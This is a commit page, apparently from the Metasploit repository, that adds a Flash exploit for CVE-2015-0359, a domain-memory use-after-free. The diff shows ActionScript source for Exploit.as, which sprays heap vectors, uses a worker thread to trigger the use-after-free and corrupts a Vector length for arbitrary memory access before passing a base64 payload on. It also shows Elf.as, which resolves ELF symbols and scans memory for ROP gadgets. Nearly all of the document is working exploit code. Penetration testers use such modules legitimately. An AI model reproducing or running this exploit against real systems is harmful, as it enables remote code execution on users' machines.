Skip to content

Commit ae21b0c

Browse files
wchen-r7wchen-r7
committed
Land rapid7#5523, adobe_flash_domain_memory_uaf in the flash renderer
2 parents 4c5b1fb + af31112 commit ae21b0c

File tree

10 files changed

+1031
-272
lines changed

10 files changed

+1031
-272
lines changed

‎data/exploits/CVE-2015-0359/msf.swf

2.72 KB
Binary file not shown.

‎external/source/exploits/CVE-2015-0359/Elf.as

Lines changed: 235 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,235 @@
1+
package
2+
{
3+
public class Elf
4+
{
5+
private const PT_DYNAMIC:uint = 2
6+
private const PT_LOAD:uint = 1
7+
private const PT_READ_EXEC:uint = 5
8+
private const DT_SYMTAB:uint = 6
9+
private const DT_STRTAB:uint = 5
10+
private const DT_PLTGOT:uint = 3
11+
12+
private var e_ba:ExploitByteArray
13+
// elf base address
14+
public var base:uint = 0
15+
// program header address
16+
public var ph:uint = 0
17+
// number of program headers
18+
public var ph_size:uint = 0
19+
// program header entry size
20+
public var ph_esize:uint = 0
21+
// DYNAMIC segment address
22+
public var seg_dynamic:uint = 0
23+
// DYNAMIC segment size
24+
public var seg_dynamic_size:uint = 0
25+
// CODE segment address
26+
public var seg_exec:uint = 0
27+
// CODE segment size
28+
public var seg_exec_size:uint = 0
29+
// .dynsyn section address
30+
public var sec_dynsym:uint = 0
31+
// .synstr section address
32+
public var sec_dynstr:uint = 0
33+
// .got.plt section address
34+
public var sec_got_plt:uint = 0
35+
36+
public function Elf(ba:ExploitByteArray, addr:uint)
37+
{
38+
e_ba = ba
39+
set_base(addr)
40+
set_program_header()
41+
set_program_header_size()
42+
set_program_header_entry_size()
43+
set_dynamic_segment()
44+
set_exec_segment()
45+
set_dynsym()
46+
set_dynstr()
47+
set_got_plt()
48+
}
49+
50+
public function external_symbol(name:String):uint {
51+
var entry:uint = 0
52+
var st_name:uint = 0
53+
var st_value:uint = 0
54+
var st_size:uint = 0
55+
var st_info:uint = 0
56+
var st_other:uint = 0
57+
var st_shndx:uint = 0
58+
var st_string:String = ""
59+
var got_plt_index:uint = 0
60+
61+
for(var i:uint = 0; i < 1000; i++) { // 1000 is just a limit
62+
entry = sec_dynsym + 0x10 + (i * 0x10)
63+
st_name = e_ba.read(entry)
64+
st_value = e_ba.read(entry + 4)
65+
st_info = e_ba.read(entry + 0xc, "byte")
66+
st_string = e_ba.read_string(sec_dynstr + st_name)
67+
if (st_string == name) {
68+
return e_ba.read(sec_got_plt + 0xc + (got_plt_index * 4))
69+
}
70+
if (st_info != 0x11) {
71+
got_plt_index++
72+
}
73+
}
74+
throw new Error()
75+
}
76+
77+
public function symbol(name:String):uint {
78+
var entry:uint = 0
79+
var st_name:uint = 0
80+
var st_value:uint = 0
81+
var st_size:uint = 0
82+
var st_info:uint = 0
83+
var st_other:uint = 0
84+
var st_shndx:uint = 0
85+
var st_string:String = ""
86+
87+
for(var i:uint = 0; i < 3000; i++) { // 3000 is just a limit
88+
entry = sec_dynsym + 0x10 + (i * 0x10)
89+
st_name = e_ba.read(entry)
90+
st_value = e_ba.read(entry + 4)
91+
st_info = e_ba.read(entry + 0xc, "byte")
92+
st_string = e_ba.read_string(sec_dynstr + st_name)
93+
if (st_string == name) {
94+
return base + st_value
95+
}
96+
}
97+
throw new Error()
98+
}
99+
100+
101+
public function gadget(gadget:String, hint:uint):uint
102+
{
103+
var value:uint = parseInt(gadget, 16)
104+
var contents:uint = 0
105+
for (var i:uint = 0; i < seg_exec_size - 4; i++) {
106+
contents = e_ba.read(seg_exec + i)
107+
if (hint == 0xffffffff && value == contents) {
108+
return seg_exec + i
109+
}
110+
if (hint != 0xffffffff && value == (contents & hint)) {
111+
return seg_exec + i
112+
}
113+
}
114+
throw new Error()
115+
}
116+
117+
private function set_base(addr:uint):void
118+
{
119+
addr &= 0xffff0000
120+
while (true) {
121+
if (e_ba.read(addr) == 0x464c457f) {
122+
base = addr
123+
return
124+
}
125+
addr -= 0x1000
126+
}
127+
128+
throw new Error()
129+
}
130+
131+
private function set_program_header():void
132+
{
133+
ph = base + e_ba.read(base + 0x1c)
134+
}
135+
136+
private function set_program_header_size():void
137+
{
138+
ph_size = e_ba.read(base + 0x2c, "word")
139+
}
140+
141+
private function set_program_header_entry_size():void
142+
{
143+
ph_esize = e_ba.read(base + 0x2a, "word")
144+
}
145+
146+
private function set_dynamic_segment():void
147+
{
148+
var entry:uint = 0
149+
var p_type:uint = 0
150+
151+
for (var i:uint = 0; i < ph_size; i++) {
152+
entry = ph + (i * ph_esize)
153+
p_type = e_ba.read(entry)
154+
if (p_type == PT_DYNAMIC) {
155+
seg_dynamic = base + e_ba.read(entry + 8)
156+
seg_dynamic_size = e_ba.read(entry + 0x14)
157+
return
158+
}
159+
}
160+
161+
throw new Error()
162+
}
163+
164+
private function set_exec_segment():void
165+
{
166+
var entry:uint = 0
167+
var p_type:uint = 0
168+
var p_flags:uint = 0
169+
170+
for (var i:uint = 0; i < ph_size; i++) {
171+
entry = ph + (i * ph_esize)
172+
p_type = e_ba.read(entry)
173+
p_flags = e_ba.read(entry + 0x18)
174+
if (p_type == PT_LOAD && (p_flags & PT_READ_EXEC) == PT_READ_EXEC) {
175+
seg_exec = base + e_ba.read(entry + 8)
176+
seg_exec_size = e_ba.read(entry + 0x14)
177+
return
178+
}
179+
}
180+
181+
throw new Error()
182+
}
183+
184+
private function set_dynsym():void
185+
{
186+
var entry:uint = 0
187+
var s_type:uint = 0
188+
189+
for (var i:uint = 0; i < seg_dynamic_size; i = i + 8) {
190+
entry = seg_dynamic + i
191+
s_type = e_ba.read(entry)
192+
if (s_type == DT_SYMTAB) {
193+
sec_dynsym = e_ba.read(entry + 4)
194+
return
195+
}
196+
}
197+
198+
throw new Error()
199+
}
200+
201+
private function set_dynstr():void
202+
{
203+
var entry:uint = 0
204+
var s_type:uint = 0
205+
206+
for (var i:uint = 0; i < seg_dynamic_size; i = i + 8) {
207+
entry = seg_dynamic + i
208+
s_type = e_ba.read(entry)
209+
if (s_type == DT_STRTAB) {
210+
sec_dynstr = e_ba.read(entry + 4)
211+
return
212+
}
213+
}
214+
215+
throw new Error()
216+
}
217+
218+
private function set_got_plt():void
219+
{
220+
var entry:uint = 0
221+
var s_type:uint = 0
222+
223+
for (var i:uint = 0; i < seg_dynamic_size; i = i + 8) {
224+
entry = seg_dynamic + i
225+
s_type = e_ba.read(entry)
226+
if (s_type == DT_PLTGOT) {
227+
sec_got_plt = e_ba.read(entry + 4)
228+
return
229+
}
230+
}
231+
232+
throw new Error()
233+
}
234+
}
235+
}

‎external/source/exploits/CVE-2015-0359/Exploit.as

Lines changed: 123 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,123 @@
1+
// Build how to:
2+
// 1. Download the AIRSDK, and use its compiler.
3+
// 2. Be support to support 16.0 as target-player (flex-config.xml).
4+
// 3. Download the Flex SDK (4.6)
5+
// 4. Copy the Flex SDK libs (<FLEX_SDK>/framework/libs) to the AIRSDK folder (<AIR_SDK>/framework/libs)
6+
// (all of them, also, subfolders, specially mx, necessary for the Base64Decoder)
7+
// 5. Build with: mxmlc -o msf.swf Msf.as
8+
9+
// Original code by @hdarwin89 modified to be used from msf
10+
// https://git.hacklab.kr/snippets/13
11+
// http://pastebin.com/Wj3NViUu
12+
13+
package
14+
{
15+
import flash.display.Sprite
16+
import flash.events.Event
17+
import flash.utils.ByteArray
18+
import flash.system.Worker
19+
import flash.system.WorkerDomain
20+
import flash.system.MessageChannel
21+
import flash.system.ApplicationDomain
22+
import avm2.intrinsics.memory.casi32
23+
import flash.display.LoaderInfo
24+
import mx.utils.Base64Decoder
25+
26+
public class Exploit extends Sprite
27+
{
28+
private var ov:Vector.<Object> = new Vector.<Object>(25600)
29+
private var uv:Vector.<uint> = new Vector.<uint>
30+
private var ba:ByteArray = new ByteArray()
31+
private var b64:Base64Decoder = new Base64Decoder()
32+
private var worker:Worker
33+
private var mc:MessageChannel
34+
private var payload:ByteArray
35+
private var platform:String
36+
private var os:String
37+
private var exploiter:Exploiter
38+
39+
public function Exploit()
40+
{
41+
if (Worker.current.isPrimordial) mainThread()
42+
else workerThread()
43+
}
44+
45+
private function mainThread():void
46+
{
47+
platform = LoaderInfo(this.root.loaderInfo).parameters.pl
48+
os = LoaderInfo(this.root.loaderInfo).parameters.os
49+
var b64_payload:String = LoaderInfo(this.root.loaderInfo).parameters.sh
50+
var pattern:RegExp = / /g;
51+
b64_payload = b64_payload.replace(pattern, "+")
52+
b64.decode(b64_payload)
53+
payload = b64.toByteArray()
54+
55+
ba.length = 0x1000
56+
ba.shareable = true
57+
for (var i:uint = 0; i < ov.length; i++) {
58+
ov[i] = new Vector.<uint>(1014)
59+
ov[i][0] = 0xdeedbeef
60+
}
61+
for (i = 0; i < ov.length; i += 2) delete(ov[i])
62+
worker = WorkerDomain.current.createWorker(this.loaderInfo.bytes)
63+
mc = worker.createMessageChannel(Worker.current)
64+
mc.addEventListener(Event.CHANNEL_MESSAGE, onMessage)
65+
worker.setSharedProperty("mc", mc)
66+
worker.setSharedProperty("ba", ba)
67+
ApplicationDomain.currentDomain.domainMemory = ba
68+
worker.start()
69+
}
70+
71+
private function workerThread():void
72+
{
73+
var ba:ByteArray = Worker.current.getSharedProperty("ba")
74+
var mc:MessageChannel = Worker.current.getSharedProperty("mc")
75+
var tmp:ByteArray = new ByteArray()
76+
tmp.length = 0x2000
77+
78+
for (var i:uint = 0; i < 20; i++) {
79+
new Vector.<uint>(1022)
80+
}
81+
82+
ba.writeBytes(tmp)
83+
ov[0] = new Vector.<uint>(1022)
84+
85+
mc.send("")
86+
while (mc.messageAvailable);
87+
88+
for (i = 0;; i++) {
89+
if (ov[0][i] == 1014 && ov[0][i + 2] == 0xdeedbeef) {
90+
ov[0][i] = 0xffffffff
91+
break
92+
}
93+
}
94+
ov[0][0xfffffffe] = 1014
95+
96+
mc.send("")
97+
}
98+
99+
private function onMessage(e:Event):void
100+
{
101+
var mod:uint = casi32(0, 1022, 0xFFFFFFFF)
102+
Logger.log("[*] Exploit - onMessage(): mod: " + mod.toString())
103+
if (mod == 1022) mc.receive()
104+
else {
105+
for (var i:uint = 0; i < ov.length; i++) {
106+
if (ov[i].length == 0xffffffff) {
107+
uv = ov[i]
108+
} else {
109+
if (ov[i] != null) {
110+
delete(ov[i])
111+
ov[i] = null
112+
}
113+
}
114+
}
115+
if (uv == null) {
116+
Logger.log("[!] Exploit - onMessage(): Corrupted Vector not found")
117+
return
118+
}
119+
exploiter = new Exploiter(this, platform, os, payload, uv)
120+
}
121+
}
122+
}
123+
}

0 commit comments

Comments
 (0)